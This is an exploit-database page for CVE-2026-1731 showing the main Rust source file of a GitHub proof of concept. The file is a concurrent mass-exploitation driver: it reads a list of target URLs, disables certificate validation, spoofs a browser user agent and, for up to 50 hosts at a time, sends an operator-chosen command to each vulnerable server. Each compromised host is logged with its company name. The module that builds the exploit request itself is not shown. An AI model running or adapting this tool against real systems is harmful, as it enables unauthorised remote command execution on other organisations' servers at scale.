Exploit database

GH-753fd478becb22e285053cf869f2d640

jakubie07/cve-2026-1731

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-1731

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
jakubie07/cve-2026-1731Revision fa221ef98dbe

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main.rs

Suggested starting fileRust · 5,908 bytes
mod target;

use crate::target::Target;
use clap::Parser;
use futures_util::{stream, StreamExt};
use reqwest::{Client, Url};
use std::collections::HashSet;
use std::sync::atomic::{AtomicU32, Ordering};
use std::sync::{Arc, OnceLock};
use std::time::Duration;
use tokio::fs;
use tracing::Level;
use tracing_subscriber::FmtSubscriber;

#[derive(Parser, Debug)]
struct Args {
    /// Path to file containing target urls
    #[arg(short, long, default_value = "targets.txt")]
    targets: String,

    /// User Agent to use when making requests to the target
    #[arg(short, long, default_value = "\
        Mozilla/5.0 (Linux; Android 10; SM-G973U) AppleWebKit/537.36 (KHTML, \
        like Gecko) Chrome/85.0.4183.121 Mobile Safari/537.36\
    ")]
    user_agent: String,

    /*/// HTTP Proxy to use when making http requests
    #[arg(short, long)]
    proxy: Option<String>,*/

    /// Command to use in the exploits
    #[arg(short, long)]
    command: String,

    /// How many targets can be exploited concurrently
    #[arg(short = 'r', long, default_value_t = 50)]
    concurrent_targets: usize,

    /// Websocket and http client timeout as milliseconds
    #[arg(short = 'i', long, default_value_t = 10000)]
    timeout: u64,

    /// Set the logging level to debug
    #[arg(short, long)]
    debug: bool,
}

static CLIENT: OnceLock<Client> = OnceLock::new();

#[tokio::main(flavor = "multi_thread", worker_threads = 8)]
async fn main() -> Result<(), anyhow::Error> {
    let mut args = Args::parse();

    let log_level: Level = if args.debug {
        Level::DEBUG
    } else {
        Level::INFO
    };

    let subscriber = FmtSubscriber::builder()
        .with_max_level(log_level)
        .finish();

    tracing::subscriber::set_global_default(subscriber)
        .expect("setting default subscriber failed");


    tracing::debug!("Initializing HTTP Client");
    init_http_client(&mut args)?;

    tracing::info!("Using Command \"{}\"\n", args.command.clone());

    tracing::debug!("Fetching Targets");
    let targets = get_targets(args.targets).await?;

    let command = Arc::new(args.command);
    let timeout = Arc::new(args.timeout);
    let success = Arc::new(AtomicU32::new(0u32));
    let error = Arc::new(AtomicU32::new(0u32));

    tracing::debug!("Beginning Execution...");
    stream::iter(targets)
        .for_each_concurrent(args.concurrent_targets, |mut target: Target| {
            let cmd_ref = Arc::clone(&command);
            let timeout_ref = Arc::clone(&timeout);
            let s_ref = Arc::clone(&success);
            let e_ref = Arc::clone(&error);

            async move {
                let target_name = format!("{}:{}", target.host, target.port);

                if let Err(e) = target.fetch_company_name().await {
                    tracing::warn!("[{}] Failed to fetch company: {}\n", target_name, e);
                    e_ref.fetch_add(1, Ordering::Relaxed);
                    return;
                }

                if target.has_company_name() {
                    if let Err(e) = target.execute(&cmd_ref, &timeout_ref).await {
                        tracing::error!("[{}] Failed to execute: {}\n", target_name, e);
                        e_ref.fetch_add(1, Ordering::Relaxed);
                        return;
                    }

                    let company = target.get_company_name();
                    let url = target.get_url();
                    tracing::info!("[Server Responded With 200]");
                    tracing::info!("Company: {company}");
                    tracing::info!("URL: {url}\n");
                    s_ref.fetch_add(1, Ordering::Relaxed);
                }
            }
        }).await;

    print_results(success.as_ref(), error.as_ref());

    Ok(())
}

fn init_http_client(args: &mut Args) -> Result<(), reqwest::Error> {
    let mut client = Client::builder();
    /*if let Some(proxy) = args.proxy.take() {
        let proxy = Proxy::http(proxy.as_str())?;
        client = client.proxy(proxy);
    }*/
    client = client
        .danger_accept_invalid_certs(true)
        .user_agent(args.user_agent.clone())
        .timeout(Duration::from_secs(10));

    CLIENT.set(
        client.build()?
    ).unwrap();

    Ok(())
}

async fn get_targets(target_file_path: String) -> Result<Vec<Target>, anyhow::Error> {
    let contents = fs::read_to_string(target_file_path.clone()).await?;

    if contents.is_empty() {
        anyhow::bail!("File {target_file_path} is empty");
    }

    parse_targets(contents)
}

fn parse_targets(contents: String) -> Result<Vec<Target>, anyhow::Error> {
    let lines: Vec<&str> = contents.lines().collect();

    if lines.is_empty() {
        anyhow::bail!("Cannot get lines");
    }

    let mut targets = HashSet::new();

    for line in lines {
        let line = if line.starts_with("http://") || line.starts_with("https://") {
            line.to_string()
        } else {
            format!("https://{}", line)
        };
        let url = Url::parse(line.as_str());

        if url.is_err() {
            tracing::warn!("Cannot parse line: {}", line);
            continue;
        }
        let url = url?;

        let target = Target::new(url.clone());
        if target.is_err() {
            tracing::error!("Failed to get host: {}", url.as_str());
            continue;
        }

        targets.insert(target?);
    };

    let targets = targets.into_iter().collect();

    Ok(targets)
}

fn print_results(success: &AtomicU32, error: &AtomicU32) {
    let success = success.load(Ordering::Relaxed);
    let error = error.load(Ordering::Relaxed);

    if success <= 0 {
        tracing::warn!("*** Failed Exploit Execution ***");
        tracing::info!("Errors: {error}");
        return
    }

    tracing::info!("*** Exploit Execution Complete! ***");
    tracing::info!("Successes: {success}");
    tracing::info!("Errors: {error}");
}